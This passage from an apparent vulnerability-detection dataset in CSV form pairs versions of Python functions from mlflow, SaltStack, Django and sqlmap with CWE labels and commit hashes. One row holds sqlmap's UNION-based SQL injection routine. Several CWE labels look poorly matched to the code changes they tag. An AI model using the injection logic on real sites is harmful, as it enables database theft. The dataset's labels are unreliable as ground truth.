    >>>     y_pred = model(x_data)
    >>>     ...
    >>> #save the model
    >>> with mlflow.start_run() as run:
    >>>   mlflow.log_param(""epochs"", 500)
    >>>   mlflow.pytorch.save_model(pytorch_model, pytorch_model_path)
    """"""
    import torch
    pickle_module = pickle_module or mlflow_pytorch_pickle_module

    if not isinstance(pytorch_model, torch.nn.Module):
        raise TypeError(""Argument 'pytorch_model' should be a torch.nn.Module"")

    path = os.path.abspath(path)
    if os.path.exists(path):
        raise RuntimeError(""Path '{}' already exists"".format(path))
    os.makedirs(path)

    model_data_subpath = ""data""
    model_data_path = os.path.join(path, model_data_subpath)
    os.makedirs(model_data_path)
    # Persist the pickle module name as a file in the model's `data` directory. This is necessary
    # because the `data` directory is the only available parameter to `_load_pyfunc`, and it
    # does not contain the MLmodel configuration; therefore, it is not sufficient to place
    # the module name in the MLmodel
    #
    # TODO: Stop persisting this information to the filesystem once we have a mechanism for
    # supplying the MLmodel configuration to `mlflow.pytorch._load_pyfunc`
    pickle_module_path = os.path.join(model_data_path, _PICKLE_MODULE_INFO_FILE_NAME)
    with open(pickle_module_path, ""w"") as f:
        f.write(pickle_module.__name__)
    # Save pytorch model
    model_path = os.path.join(model_data_path, _SERIALIZED_TORCH_MODEL_FILE_NAME)
    torch.save(pytorch_model, model_path, pickle_module=pickle_module, **kwargs)

    conda_env_subpath = ""conda.yaml""
    if conda_env is None:
        conda_env = get_default_conda_env()
    elif not isinstance(conda_env, dict):
        with open(conda_env, ""r"") as f:
            conda_env = yaml.safe_load(f)
    with open(os.path.join(path, conda_env_subpath), ""w"") as f:
        yaml.safe_dump(conda_env, stream=f, default_flow_style=False)

    if code_paths is not None:
        if not isinstance(code_paths, list):
            raise TypeError('Code_paths should be a list, not {type(code_paths)}')
        code_dir_subpath = ""code""
        for code_path in code_paths:
            _copy_file_or_tree(src=code_path, dst=path, dst_dir=code_dir_subpath)
    else:
        code_dir_subpath = None

    mlflow_model.add_flavor(
        FLAVOR_NAME, model_data=model_data_subpath, pytorch_version=torch.__version__)
    pyfunc.add_to_model(mlflow_model, loader_module=""mlflow.pytorch"", data=model_data_subpath,
                        pickle_module_name=pickle_module.__name__, code=code_dir_subpath,
                        env=conda_env_subpath)
    mlflow_model.save(os.path.join(path, ""MLmodel""))"
,UNKNOWN,UNKNOWN,salt/config.py,1,"def client_config(path, env_var='SALT_CLIENT_CONFIG', defaults=None):
    '''
    Load Master configuration data

    Usage:

    .. code-block:: python

        import salt.config
        master_opts = salt.config.client_config('/etc/salt/master')

    Returns a dictionary of the Salt Master configuration file with necessary
    options needed to communicate with a locally-running Salt Master daemon.
    This function searches for client specific configurations and adds them to
    the data from the master configuration.

    This is useful for master-side operations like
    :py:class:`~salt.client.LocalClient`.
    '''
    if defaults is None:
        defaults = DEFAULT_MASTER_OPTS

    xdg_dir = salt.utils.xdg.xdg_config_dir()
    if os.path.isdir(xdg_dir):
        client_config_dir = xdg_dir
        saltrc_config_file = 'saltrc'
    else:
        client_config_dir = os.path.expanduser('~')
        saltrc_config_file = '.saltrc'

    # Get the token file path from the provided defaults. If not found, specify
    # our own, sane, default
    opts = {
        'token_file': defaults.get(
            'token_file',
            os.path.join(client_config_dir, 'salt_token')
        )
    }
    # Update options with the master configuration, either from the provided
    # path, salt's defaults or provided defaults
    opts.update(
        master_config(path, defaults=defaults)
    )
    # Update with the users salt dot file or with the environment variable
    saltrc_config = os.path.join(client_config_dir, saltrc_config_file)
    opts.update(
        load_config(
            saltrc_config,
            env_var,
            saltrc_config
        )
    )
    # Make sure we have a proper and absolute path to the token file
    if 'token_file' in opts:
        opts['token_file'] = os.path.abspath(
            os.path.expanduser(
                opts['token_file']
            )
        )
    # If the token file exists, read and store the contained token
    if os.path.isfile(opts['token_file']):
        # Make sure token is still valid
        expire = opts.get('token_expire', 43200)
        if os.stat(opts['token_file']).st_mtime + expire > time.mktime(time.localtime()):
            with salt.utils.fopen(opts['token_file']) as fp_:
                opts['token'] = fp_.read().strip()
    # On some platforms, like OpenBSD, 0.0.0.0 won't catch a master running on localhost
    if opts['interface'] == '0.0.0.0':
        opts['interface'] = '127.0.0.1'

    # Make sure the master_uri is set
    if 'master_uri' not in opts:
        opts['master_uri'] = 'tcp://{ip}:{port}'.format(
            ip=salt.utils.ip_bracket(opts['interface']),
            port=opts['ret_port']
        )

    # Return the client options
    _validate_opts(opts)
    return opts",CWE-605,saltstack/salt,77175a7b6a3ef517b7c5c9e6aaddb9cd14ead575,"def client_config(path, env_var='SALT_CLIENT_CONFIG', defaults=None):
    '''
    Load Master configuration data

    Usage:

    .. code-block:: python

        import salt.config
        master_opts = salt.config.client_config('/etc/salt/master')

    Returns a dictionary of the Salt Master configuration file with necessary
    options needed to communicate with a locally-running Salt Master daemon.
    This function searches for client specific configurations and adds them to
    the data from the master configuration.

    This is useful for master-side operations like
    :py:class:`~salt.client.LocalClient`.
    '''
    if defaults is None:
        defaults = DEFAULT_MASTER_OPTS

    xdg_dir = salt.utils.xdg.xdg_config_dir()
    if os.path.isdir(xdg_dir):
        client_config_dir = xdg_dir
        saltrc_config_file = 'saltrc'
    else:
        client_config_dir = '~'
        saltrc_config_file = '.saltrc'

    # Get the token file path from the provided defaults. If not found, specify
    # our own, sane, default
    opts = {
        'token_file': defaults.get(
            'token_file',
            os.path.join(client_config_dir, 'salt_token')
        )
    }
    # Update options with the master configuration, either from the provided
    # path, salt's defaults or provided defaults
    opts.update(
        master_config(path, defaults=defaults)
    )
    # Update with the users salt dot file or with the environment variable
    saltrc_config = os.path.join(client_config_dir, saltrc_config_file)
    opts.update(
        load_config(
            saltrc_config,
            env_var,
            saltrc_config
        )
    )
    # Make sure we have a proper and absolute path to the token file
    if 'token_file' in opts:
        opts['token_file'] = os.path.abspath(
            os.path.expanduser(
                opts['token_file']
            )
        )
    # If the token file exists, read and store the contained token
    if os.path.isfile(opts['token_file']):
        # Make sure token is still valid
        expire = opts.get('token_expire', 43200)
        if os.stat(opts['token_file']).st_mtime + expire > time.mktime(time.localtime()):
            with salt.utils.fopen(opts['token_file']) as fp_:
                opts['token'] = fp_.read().strip()
    # On some platforms, like OpenBSD, 0.0.0.0 won't catch a master running on localhost
    if opts['interface'] == '0.0.0.0':
        opts['interface'] = '127.0.0.1'

    # Make sure the master_uri is set
    if 'master_uri' not in opts:
        opts['master_uri'] = 'tcp://{ip}:{port}'.format(
            ip=salt.utils.ip_bracket(opts['interface']),
            port=opts['ret_port']
        )

    # Return the client options
    _validate_opts(opts)
    return opts"
,UNKNOWN,UNKNOWN,django/contrib/gis/geos/tests/test_geos.py,1,"def test_mutable_geometries(self):
        ""Testing the mutability of Polygons and Geometry Collections.""
        ### Testing the mutability of Polygons ###
        for p in self.geometries.polygons:
            poly = fromstr(p.wkt)

            # Should only be able to use __setitem__ with LinearRing geometries.
            self.assertRaises(TypeError, poly.__setitem__, 0, LineString((1, 1), (2, 2)))

            # Constructing the new shell by adding 500 to every point in the old shell.
            shell_tup = poly.shell.tuple
            new_coords = []
            for point in shell_tup: new_coords.append((point[0] + 500., point[1] + 500.))
            new_shell = LinearRing(*tuple(new_coords))

            # Assigning polygon's exterior ring w/the new shell
            poly.exterior_ring = new_shell
            s = str(new_shell) # new shell is still accessible
            self.assertEqual(poly.exterior_ring, new_shell)
            self.assertEqual(poly[0], new_shell)

        ### Testing the mutability of Geometry Collections
        for tg in self.geometries.multipoints:
            mp = fromstr(tg.wkt)
            for i in range(len(mp)):
                # Creating a random point.
                pnt = mp[i]
                new = Point(random.randint(21, 100), random.randint(21, 100))
                # Testing the assignment
                mp[i] = new
                s = str(new) # what was used for the assignment is still accessible
                self.assertEqual(mp[i], new)
                self.assertEqual(mp[i].wkt, new.wkt)
                self.assertNotEqual(pnt, mp[i])

        # MultiPolygons involve much more memory management because each
        # Polygon w/in the collection has its own rings.
        for tg in self.geometries.multipolygons:
            mpoly = fromstr(tg.wkt)
            for i in xrange(len(mpoly)):
                poly = mpoly[i]
                old_poly = mpoly[i]
                # Offsetting the each ring in the polygon by 500.
                for j in xrange(len(poly)):
                    r = poly[j]
                    for k in xrange(len(r)): r[k] = (r[k][0] + 500., r[k][1] + 500.)
                    poly[j] = r

                self.assertNotEqual(mpoly[i], poly)
                # Testing the assignment
                mpoly[i] = poly
                s = str(poly) # Still accessible
                self.assertEqual(mpoly[i], poly)
                self.assertNotEqual(mpoly[i], old_poly)",CWE-330,django/django,5a803ce10ef0c1b3777fb781d6feba72610c4265,"def test_mutable_geometries(self):
        ""Testing the mutability of Polygons and Geometry Collections.""
        ### Testing the mutability of Polygons ###
        for p in self.geometries.polygons:
            poly = fromstr(p.wkt)

            # Should only be able to use __setitem__ with LinearRing geometries.
            self.assertRaises(TypeError, poly.__setitem__, 0, LineString((1, 1), (2, 2)))

            # Constructing the new shell by adding 500 to every point in the old shell.
            shell_tup = poly.shell.tuple
            new_coords = []
            for point in shell_tup: new_coords.append((point[0] + 500., point[1] + 500.))
            new_shell = LinearRing(*tuple(new_coords))

            # Assigning polygon's exterior ring w/the new shell
            poly.exterior_ring = new_shell
            s = str(new_shell) # new shell is still accessible
            self.assertEqual(poly.exterior_ring, new_shell)
            self.assertEqual(poly[0], new_shell)

        ### Testing the mutability of Geometry Collections
        for tg in self.geometries.multipoints:
            mp = fromstr(tg.wkt)
            for i in range(len(mp)):
                # Creating a random point.
                pnt = mp[i]
                new = Point(random.randint(1, 100), random.randint(1, 100))
                # Testing the assignment
                mp[i] = new
                s = str(new) # what was used for the assignment is still accessible
                self.assertEqual(mp[i], new)
                self.assertEqual(mp[i].wkt, new.wkt)
                self.assertNotEqual(pnt, mp[i])

        # MultiPolygons involve much more memory management because each
        # Polygon w/in the collection has its own rings.
        for tg in self.geometries.multipolygons:
            mpoly = fromstr(tg.wkt)
            for i in xrange(len(mpoly)):
                poly = mpoly[i]
                old_poly = mpoly[i]
                # Offsetting the each ring in the polygon by 500.
                for j in xrange(len(poly)):
                    r = poly[j]
                    for k in xrange(len(r)): r[k] = (r[k][0] + 500., r[k][1] + 500.)
                    poly[j] = r

                self.assertNotEqual(mpoly[i], poly)
                # Testing the assignment
                mpoly[i] = poly
                s = str(poly) # Still accessible
                self.assertEqual(mpoly[i], poly)
                self.assertNotEqual(mpoly[i], old_poly)"
,UNKNOWN,UNKNOWN,django/template/defaulttags.py,1,"def do_if(parser, token):
    """"""
    The ``{% if %}`` tag evaluates a variable, and if that variable is ""true""
    (i.e., exists, is not empty, and is not a false boolean value), the
    contents of the block are output:

    ::

        {% if athlete_list %}
            Number of athletes: {{ athlete_list|count }}
        {% elif athlete_in_locker_room_list %}
            Athletes should be out of the locker room soon!
        {% else %}
            No athletes.
        {% endif %}

    In the above, if ``athlete_list`` is not empty, the number of athletes will
    be displayed by the ``{{ athlete_list|count }}`` variable.

    As you can see, the ``if`` tag may take one or several `` {% elif %}``
    clauses, as well as an ``{% else %}`` clause that will be displayed if all
    previous conditions fail. These clauses are optional.

    ``if`` tags may use ``or``, ``and`` or ``not`` to test a number of
    variables or to negate a given variable::

        {% if not athlete_list %}
            There are no athletes.
        {% endif %}

        {% if athlete_list or coach_list %}
            There are some athletes or some coaches.
        {% endif %}

        {% if athlete_list and coach_list %}
            Both athletes and coaches are available.
        {% endif %}

        {% if not athlete_list or coach_list %}
            There are no athletes, or there are some coaches.
        {% endif %}

        {% if athlete_list and not coach_list %}
            There are some athletes and absolutely no coaches.
        {% endif %}

    Comparison operators are also available, and the use of filters is also
    allowed, for example::

        {% if articles|length >= 5 %}...{% endif %}

    Arguments and operators _must_ have a space between them, so
    ``{% if 1>2 %}`` is not a valid if tag.

    All supported operators are: ``or``, ``and``, ``in``, ``not in``
    ``==``, ``!=``, ``>``, ``>=``, ``<`` and ``<=``.

    Operator precedence follows Python.
    """"""
    # {% if ... %}
    bits = token.split_contents()[1:]
    condition = TemplateIfParser(parser, bits).parse()
    nodelist = parser.parse(('elif', 'else', 'endif'))
    conditions_nodelists = [(condition, nodelist)]
    token = parser.next_token()

    # {% elif ... %} (repeatable)
    while token.contents.startswith('elif'):
        bits = token.split_contents()[1:]
        condition = TemplateIfParser(parser, bits).parse()
        nodelist = parser.parse(('elif', 'else', 'endif'))
        conditions_nodelists.append((condition, nodelist))
        token = parser.next_token()

    # {% else %} (optional)
    if token.contents == 'else':
        nodelist = parser.parse(('endif',))
        conditions_nodelists.append((None, nodelist))
        token = parser.next_token()

    # {% endif %}
    assert token.contents == 'endif'

    return IfNode(conditions_nodelists)",CWE-703,django/django,d563e3be68369694a3bac1efd7779d8e03bb6a51,"def do_if(parser, token):
    """"""
    The ``{% if %}`` tag evaluates a variable, and if that variable is ""true""
    (i.e., exists, is not empty, and is not a false boolean value), the
    contents of the block are output:

    ::

        {% if athlete_list %}
            Number of athletes: {{ athlete_list|count }}
        {% elif athlete_in_locker_room_list %}
            Athletes should be out of the locker room soon!
        {% else %}
            No athletes.
        {% endif %}

    In the above, if ``athlete_list`` is not empty, the number of athletes will
    be displayed by the ``{{ athlete_list|count }}`` variable.

    As you can see, the ``if`` tag may take one or several `` {% elif %}``
    clauses, as well as an ``{% else %}`` clause that will be displayed if all
    previous conditions fail. These clauses are optional.

    ``if`` tags may use ``or``, ``and`` or ``not`` to test a number of
    variables or to negate a given variable::

        {% if not athlete_list %}
            There are no athletes.
        {% endif %}

        {% if athlete_list or coach_list %}
            There are some athletes or some coaches.
        {% endif %}

        {% if athlete_list and coach_list %}
            Both athletes and coaches are available.
        {% endif %}

        {% if not athlete_list or coach_list %}
            There are no athletes, or there are some coaches.
        {% endif %}

        {% if athlete_list and not coach_list %}
            There are some athletes and absolutely no coaches.
        {% endif %}

    Comparison operators are also available, and the use of filters is also
    allowed, for example::

        {% if articles|length >= 5 %}...{% endif %}

    Arguments and operators _must_ have a space between them, so
    ``{% if 1>2 %}`` is not a valid if tag.

    All supported operators are: ``or``, ``and``, ``in``, ``not in``
    ``==`` (or ``=``), ``!=``, ``>``, ``>=``, ``<`` and ``<=``.

    Operator precedence follows Python.
    """"""
    # {% if ... %}
    bits = token.split_contents()[1:]
    condition = TemplateIfParser(parser, bits).parse()
    nodelist = parser.parse(('elif', 'else', 'endif'))
    conditions_nodelists = [(condition, nodelist)]
    token = parser.next_token()

    # {% elif ... %} (repeatable)
    while token.contents.startswith('elif'):
        bits = token.split_contents()[1:]
        condition = TemplateIfParser(parser, bits).parse()
        nodelist = parser.parse(('elif', 'else', 'endif'))
        conditions_nodelists.append((condition, nodelist))
        token = parser.next_token()

    # {% else %} (optional)
    if token.contents == 'else':
        nodelist = parser.parse(('endif',))
        conditions_nodelists.append((None, nodelist))
        token = parser.next_token()

    # {% endif %}
    assert token.contents == 'endif'

    return IfNode(conditions_nodelists)"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/modules/yumpkg.py,0,"def __virtual__():
    '''
    Confine this module to yum based systems
    '''
    if not HAS_YUMDEPS:
        return False

    # Work only on RHEL/Fedora based distros with python 2.6 or greater
    # TODO: Someone decide if we can just test os_family and pythonversion
    os_grain = __grains__['os']
    os_family = __grains__['os_family']
    try:
        os_major = int(__grains__['osrelease'].split('.')[0])
    except ValueError:
        os_major = 0

    if os_grain == 'Fedora':
        # Fedora <= 10 used Python 2.5 and below
        if os_major >= 11:
            return __virtualname__
    elif os_grain == 'XCP':
        if os_major >= 2:
            return __virtualname__
    elif os_grain == 'XenServer':
        if os_major > 6:
            return __virtualname__
    elif os_family == 'RedHat' and os_major >= 6:
        return __virtualname__
    return False",,saltstack/salt,7a3c56c4faa0f943d6965e433847184f6da67756,"def __virtual__():
    '''
    Confine this module to yum based systems
    '''
    if not HAS_YUMDEPS:
        return False

    # Work only on RHEL/Fedora based distros with python 2.6 or greater
    # TODO: Someone decide if we can just test os_family and pythonversion
    os_grain = __grains__['os']
    os_family = __grains__['os_family']
    try:
        os_major = int(__grains__['osrelease'].split('.')[0])
    except ValueError:
        os_major = 0

    if os_grain == 'Amazon':
        return __virtualname__
    elif os_grain == 'Fedora':
        # Fedora <= 10 used Python 2.5 and below
        if os_major >= 11:
            return __virtualname__
    elif os_grain == 'XCP':
        if os_major >= 2:
            return __virtualname__
    elif os_grain == 'XenServer':
        if os_major > 6:
            return __virtualname__
    elif os_family == 'RedHat' and os_major >= 6:
        return __virtualname__
    return False"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/contrib/sessions/backends/base.py,0,"def decode(self, session_data):
        encoded_data = base64.b64decode(force_bytes(session_data))
        try:
            # could produce ValueError if there is no ':'
            hash, serialized = encoded_data.split(b':', 1)
            expected_hash = self._hash(serialized)
            if not constant_time_compare(hash.decode(), expected_hash):
                raise SuspiciousSession(""Session data corrupted"")
            else:
                return self.serializer().loads(serialized)
        except Exception as e:
            # ValueError, SuspiciousOperation, unpickling exceptions. If any of
            # these happen, just return an empty dictionary (an empty session).
            if isinstance(e, SuspiciousOperation):
                logger = logging.getLogger('django.security.%s' % e.__class__.__name__)
                logger.warning(force_text(e))
            return {}",CWE-Unknown,django/django,df8d8d4292684d6ffa7474f1e201aed486f02b53,"def decode(self, session_data):
        encoded_data = base64.b64decode(force_bytes(session_data))
        try:
            # could produce ValueError if there is no ':'
            hash, serialized = encoded_data.split(b':', 1)
            expected_hash = self._hash(serialized)
            if not constant_time_compare(hash.decode(), expected_hash):
                raise SuspiciousSession(""Session data corrupted"")
            else:
                return self.serializer().loads(serialized)
        except Exception as e:
            # ValueError, SuspiciousOperation, unpickling exceptions. If any of
            # these happen, just return an empty dictionary (an empty session).
            if isinstance(e, SuspiciousOperation):
                logger = logging.getLogger('django.security.%s' %
                        e.__class__.__name__)
                logger.warning(force_text(e))
            return {}"
,UNKNOWN,UNKNOWN,tests/tracing/test_fluent.py,1,"def test_trace_ignore_exception(monkeypatch, model):
    # This test is to make sure that the main prediction logic is not affected
    # by the exception raised by the tracing logic.
    def _call_model_and_assert_output(model):
        if isinstance(model, DefaultTestModel):
            output = model.predict(2, 5)
            assert output == 64
        elif isinstance(model, DefaultAsyncTestModel):
            output = asyncio.run(model.predict(2, 5))
            assert output == 64
        elif isinstance(model, StreamTestModel):
            stream = model.predict_stream(2, 5)
            assert len(list(stream)) == 21
        elif isinstance(model, AsyncStreamTestModel):
            astream = model.predict_stream(2, 5)

            async def _consume_stream():
                return [chunk async for chunk in astream]

            stream = asyncio.run(_consume_stream())
            assert len(list(stream)) == 21
        else:
            raise ValueError(""Unknown model type"")

    # Exception during starting span: trace should not be logged.
    with mock.patch(""mlflow.tracing.provider._get_tracer"", side_effect=ValueError(""Some error"")):
        _call_model_and_assert_output(model)

    assert get_traces() == []

    # Exception during ending span: trace should not be logged.
    tracer = _get_tracer(__name__)

    def _always_fail(*args, **kwargs):
        raise ValueError(""Some error"")

    monkeypatch.setattr(tracer.span_processor, ""on_end"", _always_fail)
    _call_model_and_assert_output(model)
    assert len(get_traces()) == 0",CWE-703,mlflow/mlflow,e91b634d760d5445b3005466394f5b00cc47e744,"def test_trace_ignore_exception(monkeypatch, model):
    # This test is to make sure that the main prediction logic is not affected
    # by the exception raised by the tracing logic.
    def _call_model_and_assert_output(model):
        if isinstance(model, DefaultTestModel):
            output = model.predict(2, 5)
            assert output == 64
        elif isinstance(model, DefaultAsyncTestModel):
            output = asyncio.run(model.predict(2, 5))
            assert output == 64
        elif isinstance(model, StreamTestModel):
            stream = model.predict_stream(2, 5)
            assert len(list(stream)) == 21
        elif isinstance(model, AsyncStreamTestModel):
            astream = model.predict_stream(2, 5)

            async def _consume_stream():
                return [chunk async for chunk in astream]

            stream = asyncio.run(_consume_stream())
            assert len(list(stream)) == 21
        else:
            raise ValueError(""Unknown model type"")

    # Exception during starting span: trace should not be logged.
    with mock.patch(""mlflow.tracing.provider._get_tracer"", side_effect=ValueError(""Some error"")):
        _call_model_and_assert_output(model)

    assert get_traces() == []

    # Exception during inspecting inputs: trace should be logged without inputs field
    with mock.patch(""inspect.signature"", side_effect=ValueError(""Some error"")) as mock_input_args:
        _call_model_and_assert_output(model)
        assert mock_input_args.call_count > 0

    traces = get_traces()
    assert len(traces) == 1
    assert traces[0].info.state == TraceState.OK
    purge_traces()

    # Exception during ending span: trace should not be logged.
    tracer = _get_tracer(__name__)

    def _always_fail(*args, **kwargs):
        raise ValueError(""Some error"")

    monkeypatch.setattr(tracer.span_processor, ""on_end"", _always_fail)
    _call_model_and_assert_output(model)
    assert len(get_traces()) == 0"
,UNKNOWN,UNKNOWN,lib/techniques/union/use.py,1,"def _oneShotUnionUse(expression, unpack=True, limited=False):
    retVal = hashDBRetrieve(""%s%s"" % (conf.hexConvert or False, expression), checkConf=True)  # as UNION data is stored raw unconverted

    threadData = getCurrentThreadData()
    threadData.resumed = retVal is not None

    if retVal is None:
        vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector

        if not kb.jsonAggMode:
            injExpression = unescaper.escape(agent.concatQuery(expression, unpack))
            kb.unionDuplicates = vector[7]
            kb.forcePartialUnion = vector[8]

            # Note: introduced columns in 1.4.2.42#dev
            try:
                kb.tableFrom = vector[9]
                kb.unionTemplate = vector[10]
            except IndexError:
                pass

            query = agent.forgeUnionQuery(injExpression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, limited)
            where = PAYLOAD.WHERE.NEGATIVE if conf.limitStart or conf.limitStop else vector[6]
        else:
            injExpression = unescaper.escape(expression)
            where = vector[6]
            query = agent.forgeUnionQuery(injExpression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, False)

        payload = agent.payload(newValue=query, where=where)

        # Perform the request
        page, headers, _ = Request.queryPage(payload, content=True, raise404=False)

        incrementCounter(PAYLOAD.TECHNIQUE.UNION)

        if kb.jsonAggMode:
            for _page in (page or """", (page or """").replace('\\""', '""')):
                if Backend.isDbms(DBMS.MSSQL):
                    output = extractRegexResult(r""%s(?P<result>.*)%s"" % (kb.chars.start, kb.chars.stop), removeReflectiveValues(_page, payload))
                    if output:
                        try:
                            retVal = """"
                            fields = re.findall(r'""([^""]+)"":', extractRegexResult(r""{(?P<result>[^}]+)}"", output))
                            for row in json.loads(output):
                                retVal += ""%s%s%s"" % (kb.chars.start, kb.chars.delimiter.join(getUnicode(row[field] or NULL) for field in fields), kb.chars.stop)
                        except:
                            pass
                        else:
                            retVal = getUnicode(retVal)
                elif Backend.isDbms(DBMS.PGSQL):
                    output = extractRegexResult(r""(?P<result>%s.*%s)"" % (kb.chars.start, kb.chars.stop), removeReflectiveValues(_page, payload))
                    if output:
                        retVal = output
                else:
                    output = extractRegexResult(r""%s(?P<result>.*?)%s"" % (kb.chars.start, kb.chars.stop), removeReflectiveValues(_page, payload))
                    if output:
                        try:
                            retVal = """"
                            for row in json.loads(output):
                                retVal += ""%s%s%s"" % (kb.chars.start, row, kb.chars.stop)
                        except:
                            pass
                        else:
                            retVal = getUnicode(retVal)

                if retVal:
                    break
        else:
            # Parse the returned page to get the exact UNION-based
            # SQL injection output
            def _(regex):
                return firstNotNone(
                    extractRegexResult(regex, removeReflectiveValues(page, payload), re.DOTALL | re.IGNORECASE),
                    extractRegexResult(regex, removeReflectiveValues(listToStrValue((_ for _ in headers.headers if not _.startswith(HTTP_HEADER.URI)) if headers else None), payload, True), re.DOTALL | re.IGNORECASE)
                )

            # Automatically patching last char trimming cases
            if kb.chars.stop not in (page or """") and kb.chars.stop[:-1] in (page or """"):
                warnMsg = ""automatically patching output having last char trimmed""
                singleTimeWarnMessage(warnMsg)
                page = page.replace(kb.chars.stop[:-1], kb.chars.stop)

            retVal = _(""(?P<result>%s.*%s)"" % (kb.chars.start, kb.chars.stop))

        if retVal is not None:
            retVal = getUnicode(retVal, kb.pageEncoding)

            # Special case when DBMS is Microsoft SQL Server and error message is used as a result of UNION injection
            if Backend.isDbms(DBMS.MSSQL) and wasLastResponseDBMSError():
                retVal = htmlUnescape(retVal).replace(""<br>"", ""\n"")

            hashDBWrite(""%s%s"" % (conf.hexConvert or False, expression), retVal)

        elif not kb.jsonAggMode:
            trimmed = _(""%s(?P<result>.*?)<"" % (kb.chars.start))

            if trimmed:
                warnMsg = ""possible server trimmed output detected ""
                warnMsg += ""(probably due to its length and/or content): ""
                warnMsg += safecharencode(trimmed)
                logger.warn(warnMsg)

            elif re.search(r""ORDER BY [^ ]+\Z"", expression):
                debugMsg = ""retrying failed SQL query without the ORDER BY clause""
                singleTimeDebugMessage(debugMsg)

                expression = re.sub(r""\s*ORDER BY [^ ]+\Z"", """", expression)
                retVal = _oneShotUnionUse(expression, unpack, limited)

            elif kb.nchar and re.search(r"" AS N(CHAR|VARCHAR)"", agent.nullAndCastField(expression)):
                debugMsg = ""turning off NATIONAL CHARACTER casting""  # NOTE: in some cases there are ""known"" incompatibilities between original columns and NCHAR (e.g. http://testphp.vulnweb.com/artists.php?artist=1)
                singleTimeDebugMessage(debugMsg)

                kb.nchar = False
                retVal = _oneShotUnionUse(expression, unpack, limited)
    else:
        vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector
        kb.unionDuplicates = vector[7]

    return retVal",CWE-703,sqlmapproject/sqlmap,18013bc8b2b85c5d79dbe9ccf754ef5bd24d576f,"def _oneShotUnionUse(expression, unpack=True, limited=False):
    retVal = hashDBRetrieve(""%s%s"" % (conf.hexConvert or False, expression), checkConf=True)  # as UNION data is stored raw unconverted

    threadData = getCurrentThreadData()
    threadData.resumed = retVal is not None

    if retVal is None:
        vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector

        if not kb.jsonAggMode:
            injExpression = unescaper.escape(agent.concatQuery(expression, unpack))
            kb.unionDuplicates = vector[7]
            kb.forcePartialUnion = vector[8]

            # Note: introduced columns in 1.4.2.42#dev
            try:
                kb.tableFrom = vector[9]
                kb.unionTemplate = vector[10]
            except IndexError:
                pass

            query = agent.forgeUnionQuery(injExpression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, limited)
            where = PAYLOAD.WHERE.NEGATIVE if conf.limitStart or conf.limitStop else vector[6]
        else:
            injExpression = unescaper.escape(expression)
            where = vector[6]
            query = agent.forgeUnionQuery(injExpression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, False)

        payload = agent.payload(newValue=query, where=where)

        # Perform the request
        page, headers, _ = Request.queryPage(payload, content=True, raise404=False)

        incrementCounter(PAYLOAD.TECHNIQUE.UNION)

        if kb.jsonAggMode:
            if Backend.isDbms(DBMS.MSSQL):
                output = extractRegexResult(r""%s(?P<result>.*)%s"" % (kb.chars.start, kb.chars.stop), removeReflectiveValues(page or """", payload))
                if output:
                    try:
                        retVal = """"
                        fields = re.findall(r'""([^""]+)"":', extractRegexResult(r""{(?P<result>[^}]+)}"", output))
                        for row in json.loads(output):
                            retVal += ""%s%s%s"" % (kb.chars.start, kb.chars.delimiter.join(getUnicode(row[field] or NULL) for field in fields), kb.chars.stop)
                    except:
                        pass
                    else:
                        retVal = getUnicode(retVal)
            elif Backend.isDbms(DBMS.PGSQL):
                output = extractRegexResult(r""(?P<result>%s.*%s)"" % (kb.chars.start, kb.chars.stop), removeReflectiveValues(page or """", payload))
                if output:
                    retVal = output
            else:
                output = extractRegexResult(r""%s(?P<result>.*?)%s"" % (kb.chars.start, kb.chars.stop), removeReflectiveValues(page or """", payload))
                if output:
                    try:
                        retVal = """"
                        for row in json.loads(output):
                            retVal += ""%s%s%s"" % (kb.chars.start, row, kb.chars.stop)
                    except:
                        pass
                    else:
                        retVal = getUnicode(retVal)
        else:
            # Parse the returned page to get the exact UNION-based
            # SQL injection output
            def _(regex):
                return firstNotNone(
                    extractRegexResult(regex, removeReflectiveValues(page, payload), re.DOTALL | re.IGNORECASE),
                    extractRegexResult(regex, removeReflectiveValues(listToStrValue((_ for _ in headers.headers if not _.startswith(HTTP_HEADER.URI)) if headers else None), payload, True), re.DOTALL | re.IGNORECASE)
                )

            # Automatically patching last char trimming cases
            if kb.chars.stop not in (page or """") and kb.chars.stop[:-1] in (page or """"):
                warnMsg = ""automatically patching output having last char trimmed""
                singleTimeWarnMessage(warnMsg)
                page = page.replace(kb.chars.stop[:-1], kb.chars.stop)

            retVal = _(""(?P<result>%s.*%s)"" % (kb.chars.start, kb.chars.stop))

        if retVal is not None:
            retVal = getUnicode(retVal, kb.pageEncoding)

            # Special case when DBMS is Microsoft SQL Server and error message is used as a result of UNION injection
            if Backend.isDbms(DBMS.MSSQL) and wasLastResponseDBMSError():
                retVal = htmlUnescape(retVal).replace(""<br>"", ""\n"")

            hashDBWrite(""%s%s"" % (conf.hexConvert or False, expression), retVal)

        elif not kb.jsonAggMode:
            trimmed = _(""%s(?P<result>.*?)<"" % (kb.chars.start))

            if trimmed:
                warnMsg = ""possible server trimmed output detected ""
                warnMsg += ""(probably due to its length and/or content): ""
                warnMsg += safecharencode(trimmed)
                logger.warn(warnMsg)

            elif re.search(r""ORDER BY [^ ]+\Z"", expression):
                debugMsg = ""retrying failed SQL query without the ORDER BY clause""
                singleTimeDebugMessage(debugMsg)

                expression = re.sub(r""\s*ORDER BY [^ ]+\Z"", """", expression)
                retVal = _oneShotUnionUse(expression, unpack, limited)

            elif kb.nchar and re.search(r"" AS N(CHAR|VARCHAR)"", agent.nullAndCastField(expression)):
                debugMsg = ""turning off NATIONAL CHARACTER casting""  # NOTE: in some cases there are ""known"" incompatibilities between original columns and NCHAR (e.g. http://testphp.vulnweb.com/artists.php?artist=1)
                singleTimeDebugMessage(debugMsg)

                kb.nchar = False
                retVal = _oneShotUnionUse(expression, unpack, limited)
    else:
        vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector
        kb.unionDuplicates = vector[7]

    return retVal"
,UNKNOWN,UNKNOWN,tests/dbshell/test_mysql.py,1,"def test_options_override_settings_proper_values(self):
